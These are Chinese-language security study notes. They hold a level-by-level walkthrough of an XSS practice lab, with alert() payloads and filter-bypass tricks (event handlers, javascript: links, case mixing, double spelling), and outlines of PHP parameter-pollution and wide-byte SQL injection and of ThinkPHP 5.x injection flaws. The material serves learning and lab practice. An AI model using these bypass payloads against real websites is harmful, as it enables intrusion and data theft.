靶场练习
第一关
1.查看源码发现name=test的test在html里面

2.所以直接在name那里添加<script>alert(123)</script>,通关

第二关
1.查看源码test和第一关一样的位置

2.直接尝试第一关方法

3.第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可
"> <script>alert()</script> <"

第三关
1.随便输个test观察

2.先用上一关的测试一下
'> <script>alert()</script> <'

3.查看源码

4.使用onfocus事件绕过
' onfocus=javascript:alert() '

5.再点击输入框

第四关
1.先观察

2.这里是双引号闭合,<input>标签,所以我们还能继续利用onfocus事件,只不过换成双引号
" onfocus=javascript:alert() "

第五关
1.先尝试之前的能过不

2.这里on被替换成了o_n,先看一下这关的源码

3.过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入
可以使用a href标签法,添加一个标签得闭合前面的标签
"> <a href=javascript:alert()>xxx</a> <"

4.之后点击xxx,触发a标签href属性即可

第六关
1.观察

2.先输入关键字测试看看

3.再试试大小写可以不
OnFocus <sCriPt> <a hReF=javascript:alert()>

4.发现大小写可以通过,则直接利用大小写
"> <sCript>alert()</sCript> <"

第七关
1.直接开测
"> <sCript>alert()</sCript> <"
可以看到sCript都被删了
2.可以用双拼写来完成
"> <scrscriptipt>alert()</scrscriptipt> <"

PHP参数污染SQL注入
- 漏洞原理
参数名区分机制:PHP允许同名参(如 id 与 i.d )共存,但接收时会将点号( . )自动转换为下划线( _ ),导致WAF可能仅检测其中一个参数,而另一个恶意参数直接进入SQL查询。
绕过关键:利用PHP对参数名的自动转换特性(如 id%20 转为 id_ ),将恶意代码通过未被过滤的参数传递。
注入技巧:使用注释符( -- )替代空格绕过关键字过滤。通过报错注入或联合查询逐步获取数据库信息(库名→表名→字段名)。
- 复现与调试
攻击链构建:
构造双参数(如 id=1&i.d=union select 1,2,3 ),使 i.d 绕过过滤, id 被拼接进SQL语句。
利用 _REQUEST 与 _SERVER 接收参数的差异(如 I.D 未被转换而 I_D 被转换),定位未过滤的数据入口。
调试验证:通过断点追踪参数传递路径,确认恶意参数是否进入SQL查询。
宽字节注入
- 产生条件
数据库使用GBK等宽字节编码,而PHP层使用UTF-8处理时,转义符( \`,编码为 %5C`)可能被宽字符"吃掉"。
典型场景:输入 %df%27 时, %df%5C 组合成汉字"運",单引号( %27 )未被转义,破坏SQL语句闭合。
- 利用与防御
利用方式:构造特定编码(如 %df%27 )使转义符失效,恢复单引号的注入能力。
现状:此类漏洞在2016年后较少见,因现代框架已规范编码统一(如全面采用UTF-8)。
ThinkPHP框架SQL注入漏洞
- 5.0.15版本漏洞
触发点: update 或 insert 操作中,参数为数组且包含 inc / dec 键(如 username[0]=inc&username[1]=update )。
漏洞成因:框架未对数组键值严格过滤,恶意代码通过 inc 操作拼接进SQL语句(如 username=username+1 )。
修复方式:官方补丁强制校验字段名与值的匹配关系,避免非法拼接。
- 5.1.6版本漏洞
触发点: update 方法中通过 pump 参数控制 default 表达式,使SQL片段拼接进查询。
漏洞链:
用户传入 pump 参数 → 进入 default 表达式处理 → 拼接可控字符串至UPDATE语句。
修复方式:删除 default 表达式的危险拼接逻辑。
- 代码追踪与调试方法
关键路径:通过调试工具定位 build 方法(SQL构造核心),追踪数据流从Request到Query的执行路径。
补丁分析:对比Git提交记录(5.0.15→5.0.16),分析 build 模块的修改点。
注意点:部分漏洞(如 exp 注入)因框架层自动过滤(如Request类添加空格)未被修复,需结合业务场景评估风险。